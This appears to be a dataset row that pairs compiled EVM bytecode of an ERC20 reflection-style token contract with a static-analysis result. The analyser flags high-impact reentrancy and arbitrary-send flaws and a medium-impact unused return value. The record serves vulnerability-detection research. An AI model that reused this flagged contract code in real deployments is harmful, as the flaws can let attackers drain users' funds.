9150509250925092565b6000612b538383612b5f565b60208301905092915050565b612b68816132ca565b82525050565b612b77816132ca565b82525050565b6000612b8882613170565b612b928185613193565b9350612b9d83613160565b8060005b83811015612bce578151612bb58882612b47565b9750612bc083613186565b925050600181019050612ba1565b5085935050505092915050565b612be4816132dc565b82525050565b612bf38161331f565b82525050565b6000612c048261317b565b612c0e81856131a4565b9350612c1e818560208601613331565b612c278161346b565b840191505092915050565b6000612c3f6023836131a4565b9150612c4a8261347c565b604082019050919050565b6000612c62601a836131a4565b9150612c6d826134cb565b602082019050919050565b6000612c85602a836131a4565b9150612c90826134f4565b604082019050919050565b6000612ca86022836131a4565b9150612cb382613543565b604082019050919050565b6000612ccb601b836131a4565b9150612cd682613592565b602082019050919050565b6000612cee601d836131a4565b9150612cf9826135bb565b602082019050919050565b6000612d116021836131a4565b9150612d1c826135e4565b604082019050919050565b6000612d346020836131a4565b9150612d3f82613633565b602082019050919050565b6000612d576029836131a4565b9150612d628261365c565b604082019050919050565b6000612d7a6025836131a4565b9150612d85826136ab565b604082019050919050565b6000612d9d6024836131a4565b9150612da8826136fa565b604082019050919050565b6000612dc06011836131a4565b9150612dcb82613749565b602082019050919050565b612ddf81613308565b82525050565b612dee81613312565b82525050565b6000602082019050612e096000830184612b6e565b92915050565b6000604082019050612e246000830185612b6e565b612e316020830184612b6e565b9392505050565b6000604082019050612e4d6000830185612b6e565b612e5a6020830184612dd6565b9392505050565b600060c082019050612e766000830189612b6e565b612e836020830188612dd6565b612e906040830187612bea565b612e9d6060830186612bea565b612eaa6080830185612b6e565b612eb760a0830184612dd6565b979650505050505050565b6000602082019050612ed76000830184612bdb565b92915050565b60006020820190508181036000830152612ef78184612bf9565b905092915050565b60006020820190508181036000830152612f1881612c32565b9050919050565b60006020820190508181036000830152612f3881612c55565b9050919050565b60006020820190508181036000830152612f5881612c78565b9050919050565b60006020820190508181036000830152612f7881612c9b565b9050919050565b60006020820190508181036000830152612f9881612cbe565b9050919050565b60006020820190508181036000830152612fb881612ce1565b9050919050565b60006020820190508181036000830152612fd881612d04565b9050919050565b60006020820190508181036000830152612ff881612d27565b9050919050565b6000602082019050818103600083015261301881612d4a565b9050919050565b6000602082019050818103600083015261303881612d6d565b9050919050565b6000602082019050818103600083015261305881612d90565b9050919050565b6000602082019050818103600083015261307881612db3565b9050919050565b60006020820190506130946000830184612dd6565b92915050565b600060a0820190506130af6000830188612dd6565b6130bc6020830187612bea565b81810360408301526130ce8186612b7d565b90506130dd6060830185612b6e565b6130ea6080830184612dd6565b9695505050505050565b60006020820190506131096000830184612de5565b92915050565b600061311961312a565b90506131258282613364565b919050565b6000604051905090565b600067ffffffffffffffff82111561314f5761314e61343c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c082613308565b91506131cb83613308565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613200576131ff6133de565b5b828201905092915050565b600061321682613308565b915061322183613308565b9250826132315761323061340d565b5b828204905092915050565b600061324782613308565b915061325283613308565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328b5761328a6133de565b5b828202905092915050565b60006132a182613308565b91506132ac83613308565b9250828210156132bf576132be6133de565b5b828203905092915050565b60006132d5826132e8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332a82613308565b9050919050565b60005b8381101561334f578082015181840152602081019050613334565b8381111561335e576000848401525b50505050565b61336d8261346b565b810181811067ffffffffffffffff8211171561338c5761338b61343c565b5b80604052505050565b60006133a082613308565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d3576133d26133de565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377b816132ca565b811461378657600080fd5b50565b613792816132dc565b811461379d57600080fd5b50565b6137a981613308565b81146137b457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c19e1cc80dae8107c0e9a909cd182034d5bc401df3187bfd33d123281d878c8764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,299 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.